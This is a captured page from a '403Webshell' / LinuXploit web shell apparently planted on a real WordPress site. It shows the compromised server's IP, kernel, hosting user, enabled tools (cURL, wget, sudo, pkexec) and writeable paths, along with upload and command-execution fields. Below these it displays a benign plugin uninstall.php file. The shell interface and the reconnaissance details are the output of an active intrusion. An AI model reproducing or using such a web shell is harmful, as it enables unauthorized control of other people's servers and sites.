403Webshell
Server IP : 172.67.162.67  /  Your IP : 216.73.217.154
Web Server : Apache
System : Linux vps42439 6.8.0-136-generic #136~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 3 16:29:11 UTC x86_64
User : dh_7hi3h9 ( 6349477)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dh_7hi3h9/regalflower.com/wp-content/plugins/woo-variation-swatches/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/dh_7hi3h9/regalflower.com/wp-content/plugins/woo-variation-swatches/uninstall.php
<?php
/**
 * Uninstall plugin
 */

// If uninstall not called from WordPress exit.
defined( 'WP_UNINSTALL_PLUGIN' ) || die( 'Keep Silent' );

global $wpdb;

// Change to select type.
$wpdb->query(  $wpdb->prepare( "UPDATE {$wpdb->prefix}woocommerce_attribute_taxonomies SET `attribute_type` = %s WHERE `attribute_type` != %s", 'select', 'text' ) );

// Remove Option.
delete_option( 'woo_variation_swatches' );

// Site options in Multisite.
delete_site_option( 'woo_variation_swatches' );

// Delete term meta.

$wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->termmeta} WHERE meta_key IN (%s, %s)", 'product_attribute_color', 'product_attribute_image'));

// Clear any cached data that has been removed.
wp_cache_flush();

Youez - 2016 - github.com/yon3zu
LinuXploit